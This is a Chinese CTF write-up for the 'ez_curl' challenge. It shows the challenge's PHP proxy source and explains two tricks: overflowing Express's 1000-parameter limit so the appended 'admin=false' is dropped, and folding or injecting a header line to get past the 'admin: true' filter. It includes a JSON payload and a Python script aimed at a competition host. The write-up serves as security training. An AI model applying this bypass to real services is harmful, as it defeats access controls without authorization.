攻防世界ez_curl

<?php
highlight_file(__FILE__);
$url = 'http://back-end:3000/flag?';
$input = file_get_contents('php://input');
$headers = (array)json_decode($input)->headers;
for($i = 0; $i < count($headers); $i++){
    $offset = stripos($headers[$i], ':');
    $key = substr($headers[$i], 0, $offset);
    $value = substr($headers[$i], $offset + 1);
    if(stripos($key, 'admin') > -1 && stripos($value, 'true') > -1){
        die('try hard');
    }
}
$params = (array)json_decode($input)->params;
$url .= http_build_query($params);
$url .= '&admin=false';
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HTTPHEADER, $headers);
curl_setopt($ch, CURLOPT_TIMEOUT_MS, 5000);
curl_setopt($ch, CURLOPT_NOBODY, FALSE);
$result = curl_exec($ch);
curl_close($ch);
echo $result;

Express是一个流行的Node.js Web框架,它提供了许多有用的功能来构建Web应用程序。其中之一是参数解析,它允许开发者解析HTTP请求中的参数。Express提供了许多选项来配置参数解析。其中之一是parameterLimit选项。

parameterLimit选项用于指定query string或者request payload的最大数量。默认情况下,它的值是1000。如果你的应用程序需要解析大量的查询字符串或者请求负载,你可能需要增加这个限制。例如,如果你的应用程序需要处理非常长的查询字符串,你可以将parameterLimit设置为一个更高的值。

  1. for($i = 0; $i < count($headers); $i++) { ... }:遍历$headers数组中的每个元素。
  2. 在循环内部:
    • stripos($headers[$i], ':'):查找当前头部中冒号的位置,以分离键和值。
    • substr($headers[$i], 0, $offset):提取冒号之前的部分,即头部键。
    • substr($headers[$i], $offset + 1):提取冒号之后的部分,即头部值。
  3. 条件判断部分:
    • stripos($key, 'admin') > -1:检查头部键是否包含子字符串 "admin"。
    • stripos($value, 'true') > -1:检查头部值是否包含子字符串 "true"。
  4. 如果上述两个条件都为真(即头部键包含 "admin",头部值包含 "true"):
    • die('try hard'):终止脚本执行并输出消息 "try hard"。

题目两个技巧分别是:

  1. express的parameterLimit默认为1000
  2. 根据rfc,header字段可以通过在每一行前面至少加一个SP或HT来扩展到多行

在 app.js 中,有如下判断:

req.headers.admin.includes('true')

也就是说,在nodejs的逻辑判断中,只要 admin 的值包含 true 即可。

当我们传入的参数超过1000个时,之后的参数会被舍弃掉。于是这里我们最开始发个"admin":"t"设置好admin的值,加上999个没用的参数,把程序拼接的&admin=false挤掉,即可绕过过滤。

至于headers,注意到" true: t"里面有个空格了吗?SP指的是空格,HT指的是制表符

 解析时,会得到如下数据:

{
  "admin": "x true y"
}

可以抓包,改包

{"headers":["admin: t",
" true: t"],"params":{"admin":"t",
"2":"1",
"3":"1",
…
"998":"1",
"999":"1",
"1000":"1"
  }
}

也可以借助其他师傅的脚本

import requests
import json
from abc import ABC
from flask.sessions import SecureCookieSessionInterface

url = "http://61.147.171.105:58830/"

datas = {"headers": ["xx:xx\nadmin: true", "Content-Type: application/json"],
         "params": {"admin": "true"}}

for i in range(1020):
    datas["params"]["x" + str(i)] = i

headers = {
    "Content-Type": "application/json"
}
json1 = json.dumps(datas)
print(json1)
resp = requests.post(url, headers=headers, data=json1)

print(resp.content)